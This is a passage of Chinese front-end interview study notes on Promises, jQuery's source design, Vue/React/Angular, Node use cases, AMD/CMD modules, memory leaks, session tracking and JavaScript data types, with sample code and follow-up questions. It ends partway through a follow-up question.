需要注意的是,Promise 的状态转换是单向的,一旦状态确定后就不可再改变。一开始是 pending,然后可以转为 fulfilled 或 rejected,一旦转换为其中一种状态,就会保持在那个状态,无法再次改变。

以下是一个示例代码,演示 Promise 的不同状态和状态转换过程:

// 创建一个 Promise 对象
var promise = new Promise(function(resolve, reject) {
  // 异步操作
  setTimeout(function() {
    var randomNum = Math.random();
    if (randomNum > 0.5) {
      resolve('Operation succeeded');
    } else {
      reject('Operation failed');
    }
  }, 1000);
});

// 使用 Promise 对象
promise
  .then(function(result) {
    console.log('Success:', result);
  })
  .catch(function(error) {
    console.log('Error:', error);
  })
  .finally(function() {
    console.log('Promise settled');
  });

在上面的示例中,我们创建了一个 Promise 对象,并在内部定义了一个异步操作。根据异步操作的结果,调用了 resolve 或 reject 方法来改变 Promise 的状态。然后使用 then 方法注册了成功时的回调函数,使用 catch 方法捕获了错误。最后,使用 finally 方法来注册一个在 Promise 完成后必定会执行的回调函数。

这样,我们就可以通过对 Promise 的状态进行判断和处理,来执行相应的操作。

💬 面试官追问

  • new Promise 里同时写了 resolve(1) 和 reject(2),结果是什么?

    成功,值是 1。状态只能改一次,后面的 reject 被直接忽略,不会报错。

  • 首页同时调五个接口用 Promise.all,其中一个挂了整个页面空白,怎么改?

    all 只要有一个 reject 就整体失败。换成 Promise.allSettled,逐个看 status 是 fulfilled 还是 rejected,失败的模块单独显示兜底,别让一个接口拖垮整页。

  • then 里忘了写 return,下一个 then 拿到什么?

    拿到 undefined,而且不会等里面那个异步操作完成,链条直接往下走了。这是链式调用里最常见的坑,async / await 写法能避开不少。

  • console.log 的顺序:setTimeout(() => log(1)); Promise.resolve().then(() => log(2)); log(3)?

    3、2、1。同步代码先跑完,然后清空微任务队列,then 回调是微任务,最后才轮到 setTimeout 这个宏任务。

  • Promise 里的错误没写 catch,会怎样?

    不会中断其他代码,但浏览器会触发 unhandledrejection 事件并在控制台报错,Node 15 之后默认直接让进程退出。线上要在 window 上监听 unhandledrejection 上报到监控。

# 24 你觉得jQuery源码有哪些写的好的地方

⚡ 30 秒速记

  • 无 new 构造:jQuery() 内部 return new jQuery.fn.init(),用户直接 $('.a')
  • 原型打通:jQuery.fn.init.prototype = jQuery.fn,init 造出的实例能用所有原型方法
  • 链式调用:方法都 return this;取值方法(.text() 不传参)才返回值
  • 插件机制:$.fn.extend 挂实例方法、$.extend 挂静态方法,扩展不用改源码
  • IIFE 包裹,只暴露 $ 和 jQuery,还有 noConflict() 让出 $
  • 能说出现代对应物更加分:链式 → 流式 API,插件 → 中间件 / 插件系统

jQuery 现在业务里用得少了,但它的 API 设计到今天还值得学,我最欣赏的是「好用」和「好扩展」这两点。 好用体现在不用写 new,$() 内部帮你 new 了一个 init,再把 init 的原型指回 jQuery.fn,所有方法都能用;每个方法 return this,于是能一路点下去。好扩展体现在插件机制,往 $.fn 上挂个方法,所有 jQuery 对象就多了这个能力,核心代码一行不用改。还有一个细节是同一个方法既能取值也能设值,靠判断参数个数区分,这种重载思路很多库都在用。

  • jQuery的源码结构清晰,模块化的设计使得各个功能模块之间相互独立,易于维护和扩展。
  • jQuery采用了很多优化技巧,例如使用惰性函数、缓存DOM查询结果、事件委托等,以提高性能和效率。
  • jQuery提供了一致而强大的选择器功能,支持多种选择器语法,使得操作DOM元素更加灵活方便。
  • jQuery提供了丰富的插件生态系统,使得开发者可以轻松扩展功能,且插件之间可以很好地兼容和组合使用。
  • jQuery封装了跨浏览器的解决方案,解决了浏览器兼容性问题,使开发者可以更专注于业务逻辑而不用关心底层实现细节。
  • jQuery提供了丰富的DOM操作方法和动画效果,使得开发者可以轻松实现复杂的交互效果。
  • jQuery文档详细且易于理解,提供了丰富的示例和用法说明,方便开发者学习和使用。

总的来说,jQuery源码在设计和实现上具有很多优秀的地方,使得它成为广泛应用的前端库之一。

以下是一个简单的示例代码,展示了jQuery源码中的一些优秀设计和实现:

// 定义一个自执行的匿名函数,将window对象作为局部变量传入,避免作用域链查找
(function(window, undefined) {

  // 定义jQuery构造函数
  var jQuery = function(selector) {
    return new jQuery.fn.init(selector);
  };

  // 将原型对象简写为fn,提高代码效率
  jQuery.fn = jQuery.prototype = {
    // 初始化方法
    init: function(selector) {
      // ...
    },
    // 扩展的实例方法
    // ...
  };

  // 将jQuery的原型对象赋值给fn,实现链式调用
  jQuery.fn.init.prototype = jQuery.fn;

  // ...

  // 将jQuery绑定到全局对象window上,提供全局访问
  window.jQuery = window.$ = jQuery;

})(window);

这段示例代码展示了jQuery源码中的一些优秀设计和实现:

  1. 使用自执行的匿名函数,将window对象作为局部变量传入,提高访问window对象的效率,同时避免全局污染。
  2. 通过将原型对象简写为fn,提高代码效率,同时利用init方法作为构造函数,实现链式调用。
  3. 使用原型继承机制,将jQuery的原型对象赋值给fn,使得实例对象可以直接访问jQuery的方法。
  4. 将jQuery绑定到全局对象window上,使得可以通过jQuery或$全局变量访问jQuery的功能。

这些设计和实现使得jQuery具有清晰的结构、高效的代码和易于使用的特性,成为广泛应用的前端库。

💬 面试官追问

  • 为什么不直接 return new jQuery(),还要绕一层 init?

    jQuery 函数本身就是你调的 $(),它里面再 new jQuery() 会无限递归。所以单独拿 init 当真正的构造函数,再把 init.prototype 指向 jQuery.prototype,实例就能用上所有方法了。

  • $('.a').css('color') 和 $('.a').css('color', 'red'),返回值有什么不同?

    前者是取值,返回第一个匹配元素的颜色字符串,链条在这里断了;后者是设值,作用于所有匹配元素并 return this,可以继续链式调用。

  • 给 jQuery 写一个插件,让所有元素都能 .highlight(),怎么写?

    $.fn.highlight = function(color) { return this.css('background', color || 'yellow') }。记得 return this,不然用户没法接着链式调用。

  • 页面同时引了 jQuery 和另一个也用 $ 的库,冲突了怎么办?

    调 jQuery.noConflict() 把 $ 还给另一个库,自己代码里用 jQuery,或者用 IIFE 把 jQuery 传进去当局部的 $:(function($) { ... })(jQuery)。

  • 源码 IIFE 为什么要把 window 当参数传进去?

    函数内部访问 window 就变成访问局部变量,少一层作用域查找,压缩时还能把参数名缩短成一个字母。顺带传一个形参 undefined 是防止老浏览器里 undefined 被改写。

# 25 谈谈你对vue、react、angular的理解

⚡ 30 秒速记

  • 共同点:组件化、声明式、数据驱动视图
  • Vue:模板 + 响应式,上手快;Vue 3 用 Proxy 做响应式,编译期做静态提升、PatchFlag 优化
  • React:UI = f(state),JSX 就是 JS;Fiber 让渲染可中断,React 19 有 Server Components、Actions,React Compiler 自动做 memo
  • Angular:全家桶 + TypeScript + 依赖注入,约束强,适合大团队;新版本主推 Signals、逐步去掉 zone.js
  • 更新粒度:Vue 精确知道哪个组件依赖变了;React 默认从 setState 的组件往下重新渲染
  • 选型看团队和场景,不是看谁更先进

三个框架做的是同一件事,让你描述「状态长什么样页面就长什么样」,区别在于怎么知道状态变了、更新粒度多大、框架管得多宽。 Vue 用响应式追踪依赖,改了哪个数据就精确更新依赖它的组件,模板写起来也贴近 HTML,上手最快。React 理念最简单,组件就是函数,状态变了就重新执行,靠虚拟 DOM 对比找差异,所以要自己注意 memo,不过 React Compiler 正在把这件事自动化。Angular 是全家桶,路由、表单、请求、依赖注入都内置,约束强,适合几十人的大团队统一写法。

继续对比Vue、React和Angular的优缺点对比:

Vue.js:

  • 优点:
    • 简单易学:Vue.js具有简单易学的特点,可以快速上手,适合小型项目或初学者。
    • 响应式数据绑定:Vue.js使用双向数据绑定机制,能够实现数据的自动更新和同步,提高开发效率。
    • 轻量灵活:Vue.js的核心库很小,可以根据需要逐渐引入插件,具有灵活性和可扩展性。
    • 生态系统丰富:Vue.js拥有庞大的社区和生态系统,有大量的第三方库和组件可供使用。
  • 缺点:
    • 生态系统相对较小:相对于React和Angular,Vue.js的生态系统规模相对较小,可能在某些方面的资源和支持较少。

Angular:

  • 优点:

    • 完整的功能集:Angular是一个完整的前端框架,提供了路由、模块化、依赖注入等功能,适用于大型和复杂的应用程序开发。
    • 强大的模板系统:Angular具有强大的模板系统,支持丰富的指令和组件,使开发者可以更轻松地构建复杂的用户界面。
    • 强大的工具支持:Angular提供了强大的开发工具和调试工具,使开发和调试更加便捷。
  • 缺点:

    • 学习曲线较陡峭:相对于Vue.js和React,Angular的学习曲线较陡峭,需要掌握更多的概念和技术。
    • 复杂性较高:由于Angular是一个完整的框架,它的复杂性较高,对于简单项目可能会显得过于臃肿。

React:

  • 优点:
    • 高性能:React使用虚拟DOM技术,能够提高应用程序的性能,减少DOM操作。
    • 组件化开发:React倡导组件化开发,使得代码更加模块化、可维护和可复用。
    • 大而活跃的社区:React拥有庞大而活跃的社区,有大量的第三方库和组件可供使用。
    • 前后端通用:React可以进行服务器端渲染,使得应用程序具有更好的性能和搜索引擎优化。
  • 缺点:
    • 学习曲线较陡峭:React使用了JSX语法和一些独特的概念,对于新手来说可能需要一定的学习成本。

💬 面试官追问

  • 都说 Vue 的更新比 React 精确,具体是什么意思?

    Vue 渲染时会记录组件用到了哪些响应式数据,数据变了只重新渲染依赖它的组件。React 里 setState 后,这个组件和它所有子组件默认都会重新执行,要靠 memo、useMemo 跳过,或者交给 React Compiler。

  • 团队全是 Java 后端转过来的,做一个大型中后台,你推荐哪个?

    Angular 值得认真考虑,TypeScript、依赖注入、模块划分这些概念他们很熟,框架约束强,几十人写出来风格也统一。如果团队更看重招人和生态,React 加 TypeScript 也是稳妥的选择。

  • Vue 2 和 Vue 3 的响应式有什么区别?

    Vue 2 用 Object.defineProperty 逐个劫持已有属性,新增属性和数组下标修改监听不到,要用 Vue.set。Vue 3 用 Proxy 代理整个对象,新增、删除属性和数组操作都能拦截,而且是访问到才递归代理,初始化更快。

  • 虚拟 DOM 一定比直接操作 DOM 快吗?

    不一定。精心手写的 DOM 操作一定更快,虚拟 DOM 多了一次对比的开销。它的价值是让你用声明式写法也能有「不算差」的性能,而且能跨平台渲染。Svelte、Solid 和 Vue 正在推的 Vapor Mode 就是走编译期直接生成 DOM 操作、去掉虚拟 DOM 的路线。

  • Angular 的 Signals 是要解决什么问题?

    以前 Angular 靠 zone.js 拦截所有异步操作,任何事件后都从根组件开始检查一遍变化,开销大还难调试。Signals 让框架精确知道哪个值变了、哪些地方用了它,只更新那一部分,思路和 Vue 的响应式很接近。

# 26 Node的应用场景

⚡ 30 秒速记

  • 主场是 I/O 密集:API 服务、BFF 聚合层、代理转发,一个进程挂着几万个连接在等数据
  • 实时通信:WebSocket 聊天、协同编辑、消息推送,长连接多但每条消息计算量小
  • 前端工程化:Webpack、Vite、ESLint、各种 CLI 和脚手架都跑在 Node 上
  • SSR:Next.js / Nuxt 的服务端渲染,前后端共用一套组件代码
  • 不适合 CPU 密集:图片处理、大量加解密、复杂计算会卡住事件循环,要拆到 worker_threads、子进程或别的语言的服务
  • 纠个常见说法:网络 I/O 走的是系统的 epoll / kqueue,不进线程池;libuv 线程池(默认 4 个)只管文件、dns.lookup、crypto、zlib 这类

Node 最擅长的是「等得多、算得少」的活:接口服务、BFF、代理、实时推送,再加上整个前端工具链。 它只有一个线程跑 JS,但网络请求发出去之后不用干等,回调排队回来再处理,所以一个进程能扛很多并发连接。反过来,如果一个请求要算 2 秒,这 2 秒里所有其他请求都得排队,这就是它不适合 CPU 密集任务的原因。实际项目里我会让 Node 做聚合和渲染,重计算交给 worker_threads 或者后端服务。

特点:

  1. 基于事件驱动和非阻塞I/O: Node.js采用事件驱动的编程范式,通过异步非阻塞的I/O模型实现高效的并发处理,能够处理大量的并发连接。
  2. 单线程: Node.js使用单线程处理请求,避免了传统多线程模型中线程切换的开销,提高了处理请求的效率。
  3. 基于V8引擎: Node.js使用Google Chrome浏览器中的V8引擎解释执行JavaScript代码,具有高性能和高效的特点。
  4. 跨平台: Node.js可以在多个操作系统上运行,如Windows、Linux、Mac等。

优点:

  1. 高并发性能: Node.js的事件驱动和非阻塞I/O模型使其能够处理大量并发请求,适用于构建高性能的网络应用。
  2. 快速开发: Node.js使用JavaScript语言,具有统一的开发语言,使得前端开发人员可以轻松上手进行服务器端开发。
  3. 丰富的模块生态系统: Node.js拥有庞大的模块生态系统,提供了丰富的第三方模块和工具,可以快速构建复杂的应用程序。
  4. 轻量和高效: Node.js具有较小的内存占用和快速的启动时间,适合部署在云环境或资源有限的设备上。

缺点:

  1. 单线程限制: Node.js使用单线程处理请求,如果有长时间运行的计算密集型任务或阻塞操作,会导致整个应用程序的性能下降。
  2. 可靠性低: Node.js在处理错误和异常方面相对较弱,一旦代码某个环节崩溃,整个应用程序都可能崩溃,需要仔细处理错误和异常情况。
  3. 不适合CPU密集型任务: 由于Node.js的单线程特性,不适合处理需要大量计算的CPU密集型任务,这类任务可能会阻塞事件循环,影响整个应用程序的性能。

Node.js的应用场景主要包括以下几个方面:

  1. 服务器端开发: Node.js在服务器端开发中表现出色。由于其事件驱动、非阻塞的特性,适合处理高并发的网络请求,可以快速构建高性能的网络应用程序,如Web服务器、API服务器、实时聊天应用等。
  2. 实时应用程序: 基于Node.js的实时应用程序能够实现双向通信,例如实时聊天应用、协作工具、多人游戏等。Node.js的事件驱动模型和非阻塞I/O使得处理大量并发连接变得更加高效。
  3. 命令行工具: Node.js提供了丰富的API和模块,使得开发命令行工具变得简单和高效。通过Node.js可以编写自定义的命令行工具,用于执行各种任务、自动化流程和脚本处理等。
  4. 构建工具: Node.js可以用于构建前端的构建工具和任务执行器,如Grunt和Gulp。这些工具利用Node.js的模块化和文件操作能力,帮助开发者自动化地处理代码的编译、压缩、打包等任务。
  5. 代理服务器: 基于Node.js可以构建高性能的代理服务器,用于代理请求、路由转发、负载均衡等。Node.js的非阻塞I/O使得代理服务器能够同时处理大量的并发请求。

总的来说,Node.js适用于需要处理高并发、实时性要求高、需要构建高性能网络应用的场景。它在Web开发、实时应用、命令行工具等领域都有广泛的应用。

💬 面试官追问

  • 一个接口要压缩几十 MB 的图片,放在 Node 主线程里会出什么事?

    压缩期间事件循环被占住,其他请求全部排队,整个服务看起来像卡死了。要么用 sharp 这类底层是 C++、自己会丢到线程池的库,要么丢给 worker_threads,量大就干脆拆成独立的图片服务走队列。

  • 都说 Node 是单线程,那它怎么同时处理一万个连接?

    单线程说的是执行 JS 的那一个线程。连接本身由操作系统的 epoll / kqueue 盯着,哪个连接来数据了就通知 libuv,libuv 再把对应回调丢进事件循环,JS 线程只负责跑这些很短的回调。

  • 为什么很多团队会在前端和 Java 后端中间加一层 Node BFF?

    一个页面要调五六个后端接口、字段还要裁剪拼装,放在浏览器里做既慢又暴露内部接口。BFF 由前端自己维护,在服务端并发调用 Promise.all 聚合好再给页面,顺便做 SSR 和鉴权透传。

  • 线上 Node 服务偶尔所有请求一起变慢,怎么判断是不是事件循环被堵了?

    先看事件循环延迟,perf_hooks.monitorEventLoopDelay() 能直接给出 p99,正常是个位数毫秒,飙到几百就是有同步重活。再用 --cpu-prof 或 clinic flame 抓火焰图,找那根很宽的同步调用栈,常见的是大 JSON.parse、同步读文件、复杂正则。

  • 单个 Node 进程只能用一个核,机器有 8 核怎么办?

    起多个进程,cluster 模块或者 PM2 的 cluster 模式按核数起实例,容器化部署就直接多副本。注意进程间不共享内存,session、缓存要放到 Redis 这类外部存储里。

# 27 谈谈你对AMD、CMD的理解

⚡ 30 秒速记

  • 都是 ES Module 出现之前,浏览器端的模块化方案;现在新项目基本不用了,面试主要考历史和差异
  • AMD(RequireJS):依赖前置,define(['a','b'], fn),依赖先加载并执行完,再跑回调
  • CMD(SeaJS):依赖就近,define(function(require){ var a = require('a') }),用到哪里才执行哪里
  • 核心区别是执行时机,不是下载时机:SeaJS 也会提前扫出 require 把文件下好,只是推迟到 require() 那一行才执行
  • 后续演进:CommonJS(Node,同步)→ UMD(兼容 AMD + CommonJS + 全局变量)→ ES Module(语言标准,静态分析、tree shaking)

AMD 和 CMD 都是浏览器上的异步模块加载规范,最大区别是依赖什么时候执行:AMD 提前执行,CMD 用到才执行。 AMD 要求在 define 的第一个参数里把依赖列全,加载器先把它们都下载、执行完,再把结果传进回调。CMD 更像 CommonJS 的写法,在函数里随用随 require,SeaJS 会先用正则扫出依赖提前下载,但执行推迟到 require() 那一刻。说白了这两个都是历史方案了,现在浏览器原生支持 ES Module,打包工具也都以 ESM 为准。

AMD(Asynchronous Module Definition)和CMD(Common Module Definition)是用于浏览器端的模块加载规范。它们的目标都是解决模块化开发的问题,提供了异步加载模块的机制,以提高网页的性能和加载速度。

AMD(Asynchronous Module Definition)

  • AMD是由RequireJS提出的一种模块加载规范。
  • AMD规范采用异步加载模块的方式,在使用模块之前,需要先定义模块的依赖关系,然后通过回调函数来使用模块。这种方式适用于浏览器环境,可以避免阻塞页面的加载。
  • AMD规范使用define函数来定义模块,可以指定模块的依赖关系和回调函数。在回调函数中可以获取依赖模块,并进行相应的操作。
  • 示例代码:
define(['module1', 'module2'], function(module1, module2) {
  // 使用module1和module2进行操作
});

CMD(Common Module Definition)

  • CMD是由SeaJS提出的一种模块加载规范。
  • CMD规范与AMD规范类似,也采用异步加载模块的方式。但与AMD不同的是,CMD规范在使用模块之前不需要先定义依赖关系,而是在使用时才进行模块的加载。
  • CMD规范使用define函数来定义模块,可以在回调函数中使用require函数来加载依赖模块。
  • 示例代码:
define(function(require) {
  var module1 = require('module1');
  var module2 = require('module2');
  // 使用module1和module2进行操作
});

总体来说,AMD和CMD都是用于浏览器端的模块加载规范,目的是解决模块化开发的问题。它们的区别在于模块定义和加载的时机不同,AMD在定义时就指定依赖关系并加载模块,而CMD在使用时才加载模块。根据具体的项目需求和团队的开发习惯,可以选择适合的规范进行模块化开发。

💬 面试官追问

  • CMD 是不是执行到 require('a') 那一刻才去网络请求 a.js?

    不是。浏览器里不可能同步发请求等结果,SeaJS 会先拿 factory.toString() 用正则扫出所有 require('xxx'),提前并行下载好,真正推迟的只是执行。所以把 require 的参数写成变量,它就扫不到了。

  • AMD 依赖前置会带来什么实际问题?

    依赖要全写在数组里,模块一多数组又长又容易和参数顺序对不上。而且某个依赖只在某个分支里才用到,也会被提前执行,有副作用的模块就可能在不该跑的时候跑了。

  • 老项目里看到一个库开头是 typeof define === 'function' && define.amd,这是在干嘛?

    这是 UMD 包装:检测到 AMD 加载器就用 define 注册,检测到 module.exports 就按 CommonJS 导出,都没有就挂到 window 上。一份产物同时兼容三种环境,以前发 npm 包很常见。

  • ES Module 比 AMD、CMD 强在哪?

    它是语言层面的标准,import / export 必须写在顶层、路径是静态字符串,打包工具不用执行代码就能分析依赖,tree shaking 就建在这上面。另外导出的是活绑定,模块里的值变了,导入方拿到的也会变。

  • 现在还需要动态按需加载,ESM 怎么做?

    用 import(),它返回一个 Promise,比如 const { Chart } = await import('./chart.js')。打包工具看到它会自动拆出单独的 chunk,这其实就是当年 AMD 异步加载想解决的事。

# 28 那些操作会造成内存泄漏

⚡ 30 秒速记

  • 本质:对象已经没用了,但还被某个活着的东西引用着,GC 回收不了
  • 高频四类:定时器 / 事件监听没清、闭包长期持有大对象、DOM 删了但 JS 里还有引用(Detached 节点)、全局变量或缓存只加不删
  • 框架里最常见:useEffect 没返回清理函数、Vue 组件卸载时没解绑全局事件、第三方实例(ECharts、地图)没 dispose
  • 循环引用本身不是问题:现代引擎用标记清除,两个对象互相引用但外面没人引用就会被回收,只有老 IE 的引用计数才会漏
  • 排查:Memory 面板操作前后各拍一次堆快照做对比,搜 Detached,看 Retainers 是谁拽着它

内存泄漏说白了就是「东西不用了,但还有人拽着它」,垃圾回收器看它还被引用,就不敢收。 前端最常见的是三种:setInterval 和 window 上的监听器忘了清,组件卸载后回调还挂在那;节点从页面删掉了,但某个数组或闭包里还存着它;缓存用普通 Map 只存不删,越积越多。我写组件的习惯是谁注册谁清理,useEffect 里加了监听就一定返回清理函数。查问题就用 Memory 面板对比两次快照,看是谁持有这些对象。

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

1. 定时器未清理:

function startTimer() {
  setInterval(() => {
    // 定时操作
  }, 1000);
}

// 没有清理定时器,导致内存泄漏

解决方法:在不需要定时器时,使用 clearInterval 或 clearTimeout 清理定时器。

2. 异步操作未完成导致回调函数未执行:

function fetchData(callback) {
  // 异步操作,例如 AJAX 请求或数据库查询

  // 忘记调用回调函数,导致内存泄漏
}

// 示例中没有调用 fetchData 的回调函数

解决方法:确保异步操作完成后,调用相应的回调函数,或使用 Promise 或 async/await 等方式管理异步操作的状态。

3. DOM 元素未正确移除:

function createDOMElement() {
  const element = document.createElement('div');
  // 在页面中插入 element,但没有移除

  // 该函数可能被多次调用,导致大量无用的 DOM 元素存在于内存中
}

解决方法:在不需要的时候,使用 removeChild 或其他方法将 DOM 元素从页面中移除。

4. 未释放闭包中的引用:

function createClosure() {
  const data = 'sensitive data';

  setTimeout(() => {
    console.log(data);
  }, 1000);

  // 闭包中引用了外部的 data 变量,导致 data 无法被垃圾回收
}

解决方法:在不需要使用闭包中的外部变量时,确保取消引用,例如将闭包中的引用设置为 null。

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

5. 未正确释放事件监听器:

function addEventListener() {
  const element = document.getElementById('myElement');
  element.addEventListener('click', () => {
    // 事件处理程序
  });

  // 没有移除事件监听器,导致内存泄漏
}

解决方法:在不需要监听事件时,使用 removeEventListener 方法将事件监听器移除。

6. 大量数据缓存导致内存占用过高:

function cacheData() {
  const data = fetchData(); // 获取大量数据
  // 将数据存储在全局变量或其他长久存在的对象中

  // 数据缓存过多,占用大量内存资源
}

解决方法:及时清理不再需要的数据缓存,或使用适当的数据存储方案,例如使用数据库等。

7. 循环引用:

function createCircularReference() {
  const obj1 = {};
  const obj2 = {};

  obj1.ref = obj2;
  obj2.ref = obj1;

  // obj1 和 obj2 彼此引用,导致无法被垃圾回收
}

解决方法:确保循环引用的对象在不再需要时被解除引用,例如将相应的属性设置为 null。

8. 未正确释放资源:

function openResource() {
  const resource = openSomeResource();

  // 忘记关闭或释放 resource,导致资源泄漏
}

解决方法:在不再需要使用资源时,确保关闭、释放或销毁相应的资源,例如关闭数据库连接、释放文件句柄等。

💬 面试官追问

  • 单页应用来回切几次路由,Performance monitor 里 JS heap 一直往上涨,怎么查?

    先手动点一下垃圾回收,排除只是还没回收。然后在 Memory 面板拍快照,切几次路由再拍一次,选 Comparison 看哪类对象只增不减,搜 Detached 找脱离文档的节点,展开 Retainers 一路往上看,通常能定位到某个没解绑的监听或全局数组。

  • 这段代码有什么问题:useEffect(() => { window.addEventListener('resize', onResize) }, [])?

    组件卸载后监听还挂在 window 上,onResize 闭包里引用的组件状态也跟着放不掉。要返回清理函数:return () => window.removeEventListener('resize', onResize),而且传给 remove 的必须是同一个函数引用,写匿名函数是删不掉的。

  • 两个对象互相引用,会不会导致内存泄漏?

    在现代浏览器里不会。标记清除是从全局对象、调用栈这些根出发,走不到的对象都回收,互相引用但根上够不着照样收掉。只有老 IE 里 DOM 和 JS 对象之间用引用计数,才会因为循环引用漏掉。

  • 想给 DOM 节点挂一些额外数据,又怕节点删了数据还留着,怎么存?

    用 WeakMap,以节点为键:meta.set(el, data)。WeakMap 的键是弱引用,节点在别处没有引用了就会被回收,对应的数据也跟着没了,不用手动清。

  • 闭包是不是一定会造成内存泄漏?

    不是。闭包只是让外层变量活得更久,函数本身被释放,它捕获的变量也就释放了。真正出问题的是闭包被一个长期存在的东西持有,比如挂在全局事件上的回调里引用了一个大数组,这才是泄漏。

# 29 web开发中会话跟踪的方法有哪些

⚡ 30 秒速记

  • HTTP 本身无状态,会话跟踪就是让服务端认出「这几个请求是同一个人」
  • 传统四种:Cookie、Session(数据存服务端,靠 Cookie 带一个 sessionId)、URL 重写、隐藏表单域;IP 只能辅助,共享网络和代理下不可靠
  • 前后端分离后常见:Token / JWT 放在 Authorization 头,服务端不存状态,方便跨域和水平扩容
  • Session 的痛点是多台机器要共享,一般集中放 Redis;JWT 的痛点是签发后没法主动作废,靠短过期 + refresh token 或黑名单
  • 会话凭证的 Cookie 要加 HttpOnly + Secure + SameSite,URL 里带 sessionId 容易随分享和 Referer 泄露

会话跟踪要解决的是 HTTP 无状态的问题,最主流的是 Cookie + 服务端 Session,前后端分离之后 Token 也很常见。 Session 方案里,登录成功后服务端把用户信息存在自己这边,只给浏览器一个随机的 sessionId,浏览器每次请求自动带上 Cookie,服务端拿它去查是谁。URL 重写和隐藏表单域是 Cookie 被禁用时的老办法,现在基本不用,因为 sessionId 暴露在地址里很容易泄露。选型上,单体站点我倾向 Session,需要给 App、第三方用的接口再考虑 Token。

时序图 · 3 个参与者 / 9 步
alt 会话存在且未过期会话不存在或已过期浏览器浏览器应用服务应用服务RedisRedis提交账号密码1存用户信息,键为 sessionId2Set-Cookie: sid,HttpOnly3访问订单页,自动带上 Cookie4用 sid 查会话5返回用户信息6返回订单数据7查不到8401,跳转登录页9

在Web开发中,常见的会话跟踪方法包括:

1. Cookie:

  • 使用HTTP Cookie来跟踪会话状态,将会话信息存储在客户端。

示例代码:

// 设置Cookie
document.cookie = "sessionID=abc123; expires=Sat, 31 Dec 2023 23:59:59 GMT; path=/";

// 读取Cookie
var sessionID = document.cookie;

2. Session:

  • 使用服务器端的会话管理机制,在服务器端存储会话数据,客户端通过会话ID来进行访问。

示例代码(使用Express.js框架):

// 在服务器端设置Session
app.use(session({ secret: 'secretKey', resave: false, saveUninitialized: true }));

// 在路由处理程序中存储和访问Session数据
req.session.username = 'poetry';
var username = req.session.username;

3. URL重写:

  • 在URL中附加会话标识符来进行会话跟踪。

示例代码:

https://example.com/page?sessionID=abc123

4. 隐藏Input:

  • 在HTML表单中使用隐藏的输入字段来存储会话信息。

示例代码:

<input type="hidden" name="sessionID" value="abc123">

5. IP地址:

  • 根据客户端的IP地址进行会话跟踪,但这种方法可能受到共享IP、代理服务器等因素的影响。

示例代码(使用Node.js):

var clientIP = req.headers['x-forwarded-for'] || req.connection.remoteAddress;

💬 面试官追问

  • 服务从一台扩到三台,用户老是莫名其妙被踢下线,可能是什么原因?

    Session 存在单机内存里,负载均衡把请求分到另一台,那台不认识这个 sessionId,就当成未登录。把 Session 统一放到 Redis,或者临时在负载均衡上开会话保持,前者才是正解。

  • JWT 签发出去了,用户点了退出登录,怎么让旧 token 立刻失效?

    JWT 本身是自包含的,服务端不查库就认,所以没法直接作废。常见做法是 access token 设得很短,比如 15 分钟,配合可吊销的 refresh token;要求立即失效的场景就加一个黑名单,按 jti 存到过期为止。

  • token 放 localStorage 还是 Cookie?

    放 localStorage 页面任何脚本都能读,一旦有 XSS 就被直接偷走;放 HttpOnly 的 Cookie,JS 读不到,但要防 CSRF,靠 SameSite=Lax 加关键接口校验 CSRF token。我更倾向后者,XSS 很难完全杜绝。

  • 为什么不建议用 URL 重写传 sessionId?

    地址会被复制分享、进浏览器历史、进服务器日志,跳到外站时还可能通过 Referer 带出去,别人拿到链接就等于拿到登录态,这叫会话固定和会话劫持的高发区。

  • 前端在 a.com,接口在 api.a.com,Cookie 怎么带过去?

    同站不同子域,服务端种 Cookie 时设 Domain=a.com;跨域请求要 credentials: 'include',接口返回 Access-Control-Allow-Credentials: true,而且 Access-Control-Allow-Origin 不能写 *,要写具体域名。

# 30 JS的基本数据类型和引用数据类型

⚡ 30 秒速记

  • 基本类型 7 种:number、string、boolean、null、undefined、symbol(ES6)、bigint(ES2020)
  • 引用类型就是 Object,数组、函数、Date、RegExp、Map、Set 都是它的变种
  • 赋值:基本类型复制值,互不影响;引用类型复制的是地址,两个变量指向同一个对象
  • 比较:基本类型比值,引用类型比地址,{} === {} 是 false
  • 「基本类型在栈、对象在堆」是方便理解的模型,引擎实际不完全这样(V8 里字符串也在堆上),面试说到「按值 / 按引用访问」就够了
  • 坑:typeof null === 'object' 是历史遗留问题;判断数组用 Array.isArray

JS 有 7 种基本类型,number、string、boolean、null、undefined、symbol、bigint,剩下的都是对象,也就是引用类型。 两者最直接的区别体现在赋值上:let b = a 如果 a 是数字,就是复制一份,改 b 不影响 a;如果 a 是对象,复制的只是一个地址,改 b.name 就等于改 a.name。比较也一样,两个内容完全相同的对象用 === 比也是 false,因为地址不同。很多「改了一个另一个也变了」的问题都是这个原因。

  • 基本数据类型:
    • undefined: 表示未定义或未初始化的值。
    • null: 表示空值或不存在的对象。
    • boolean: 表示逻辑上的true或false。
    • number: 表示数值,包括整数和浮点数。
    • string: 表示字符串。
    • symbol: 表示唯一的、不可变的值,通常用作对象的属性键。
  • 引用数据类型:
    • object: 表示一个复杂的数据结构,可以包含多个键值对。
    • array: 表示一个有序的、可变长度的集合。
    • function: 表示可执行的代码块,可以被调用执行。

基本数据类型在赋值时是按值传递的,每个变量都有自己的存储空间,修改一个变量不会影响其他变量。而引用数据类型在赋值时是按引用传递的,多个变量引用同一个对象,修改一个变量会影响其他变量。需要注意的是,null和undefined既是基本数据类型,也是特殊的值,表示不同的含义。

💬 面试官追问

  • 函数参数传对象,函数里改了它,外面会变吗?

    要看怎么改。obj.name = 'x' 改的是同一个对象,外面会变;obj = { name: 'x' } 只是让形参指向新对象,外面不受影响。JS 其实都是按值传参,只不过对象传的「值」是地址。

  • const arr = [1, 2],为什么还能 arr.push(3)?

    const 锁的是变量绑定,也就是这个地址不能换,不管对象里面的内容。想让内容也不能改要用 Object.freeze(arr),而且它只冻结第一层。

  • 'abc'.toUpperCase() 能调方法,那字符串到底是不是对象?

    不是。调用方法时引擎临时把它包成一个 String 对象,用完就丢,所以给它加属性 s.foo = 1 再读是 undefined。别手动 new String('abc'),typeof 会变成 'object',比较也会出问题。

  • React 里 state.list.push(item); setState(state.list),页面不更新,为什么?

    地址没变,React 用 Object.is 比较新旧值,认为没改就跳过渲染了。要返回新数组:setList(prev => [...prev, item]),这就是为什么框架都要求不可变更新。

  • 0.1 + 0.2 和大整数精度丢了,bigint 能解决哪一个?

